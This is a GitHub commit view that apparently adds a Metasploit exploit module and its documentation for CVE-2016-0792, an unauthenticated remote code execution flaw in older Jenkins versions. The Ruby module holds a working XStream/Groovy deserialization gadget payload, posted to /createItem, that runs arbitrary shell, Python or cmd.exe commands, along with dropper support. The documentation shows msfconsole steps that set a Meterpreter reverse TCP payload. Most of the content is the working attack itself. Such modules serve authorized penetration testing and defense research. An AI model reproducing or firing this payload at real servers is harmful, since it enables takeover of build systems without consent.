Skip to content

Commit 76823e9

Browse files
committed
Land rapid7#9183, Jenkins Groovy XStream RCE
2 parents d3638d0 + 500bde1 commit 76823e9

File tree

2 files changed

+203
-0
lines changed

2 files changed

+203
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
2+
3+
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
4+
5+
## Vulnerable Application
6+
7+
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
8+
9+
Download Jenkins (Windows) < version 1.650 from here:
10+
http://mirrors.jenkins-ci.org/windows/
11+
12+
Windows Installation: Double click .msi
13+
14+
Download Jenkins LTS (Debian) < version 1.642.2 from here:
15+
https://pkg.jenkins.io/debian-stable/
16+
17+
Download Jenkins (Debian) < version 1.650 from here:
18+
https://pkg.jenkins.io/debian/
19+
20+
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
21+
22+
## Options
23+
24+
**TARGETURI**
25+
26+
The base path to Jenkins application `/` by default
27+
28+
**VHOST**
29+
30+
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
31+
32+
**The Check Command**
33+
34+
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
35+
36+
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
37+
38+
```
39+
set RHOST [IP]
40+
41+
set TARGETURI [path to Jenkins]
42+
```
43+
44+
```
45+
msf exploit(jenkins_xstream_deserialize) > check
46+
47+
[*] 192.168.1.64:8080 The target appears to be vulnerable..
48+
```
49+
50+
**Exploiting the Host**
51+
52+
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
53+
54+
```
55+
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
56+
RHOST => 192.168.1.37
57+
msf exploit(jenkins_xstream_deserialize) > set target 3
58+
target => 3
59+
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
60+
payload => windows/x64/meterpreter/reverse_tcp
61+
msf exploit(jenkins_xstream_deserialize) > exploit
62+
```
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::Powershell
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
16+
'Description' => %q{
17+
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
18+
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
19+
which allows remote arbitrary code execution. The issue affects default installations. Authentication
20+
is not required to exploit the vulnerability.
21+
},
22+
'Author' =>
23+
[
24+
'Arshan Dabirsiaghi', # Vulnerability discovery
25+
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
26+
],
27+
'DisclosureDate' => 'Feb 24 2016',
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['CVE', '2016-0792'],
32+
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
33+
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
34+
],
35+
'Platform' => %w{ win linux unix },
36+
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
37+
'Targets' => [
38+
['Unix (In-Memory)',
39+
'Platform' => 'unix',
40+
'Arch' => ARCH_CMD
41+
],
42+
['Python (In-Memory)',
43+
'Platform' => 'python',
44+
'Arch' => ARCH_PYTHON
45+
],
46+
['Linux (Dropper)',
47+
'Platform' => 'linux',
48+
'Arch' => [ARCH_X86, ARCH_X64]
49+
],
50+
['Windows (Dropper)',
51+
'Platform' => 'win',
52+
'Arch' => [ARCH_X86, ARCH_X64]
53+
]
54+
],
55+
'DefaultTarget' => 0
56+
))
57+
58+
register_options([
59+
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
60+
Opt::RPORT('8080')
61+
])
62+
deregister_options('URIPATH')
63+
end
64+
65+
def check
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(target_uri.path)
68+
})
69+
70+
unless res
71+
fail_with(Failure::Unknown, 'The connection timed out.')
72+
end
73+
74+
http_headers = res.headers
75+
76+
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
77+
return Exploit::CheckCode::Appears
78+
else
79+
return Exploit::CheckCode::Safe
80+
end
81+
end
82+
83+
def exploit
84+
case target.name
85+
when /Unix/, /Python/
86+
execute_command(payload.encoded)
87+
else
88+
execute_cmdstager
89+
end
90+
end
91+
92+
# Exploit methods
93+
94+
def execute_command(cmd, opts = {})
95+
cmd = case target.name
96+
when /Unix/, /Linux/
97+
%W{/bin/sh -c #{cmd}}
98+
when /Python/
99+
%W{python -c #{cmd}}
100+
when /Windows/
101+
%W{cmd.exe /c #{cmd}}
102+
end
103+
104+
# Encode each command argument with XML entities
105+
cmd.map! { |arg| arg.encode(xml: :text) }
106+
107+
res = send_request_cgi(
108+
'method' => 'POST',
109+
'uri' => normalize_uri(target_uri.path, '/createItem'),
110+
'vars_get' => { 'name' => 'random' },
111+
'ctype' => 'application/xml',
112+
'data' => xstream_payload(cmd)
113+
)
114+
end
115+
116+
def xstream_payload(cmd)
117+
<<EOF
118+
<map>
119+
<entry>
120+
<groovy.util.Expando>
121+
<expandoProperties>
122+
<entry>
123+
<string>hashCode</string>
124+
<org.codehaus.groovy.runtime.MethodClosure>
125+
<delegate class="groovy.util.Expando"/>
126+
<owner class="java.lang.ProcessBuilder">
127+
<command>
128+
<string>#{cmd.join('</string><string>')}</string>
129+
</command>
130+
</owner>
131+
<method>start</method>
132+
</org.codehaus.groovy.runtime.MethodClosure>
133+
</entry>
134+
</expandoProperties>
135+
</groovy.util.Expando>
136+
<int>1</int>
137+
</entry>
138+
</map>
139+
EOF
140+
end
141+
end

0 commit comments

Comments
 (0)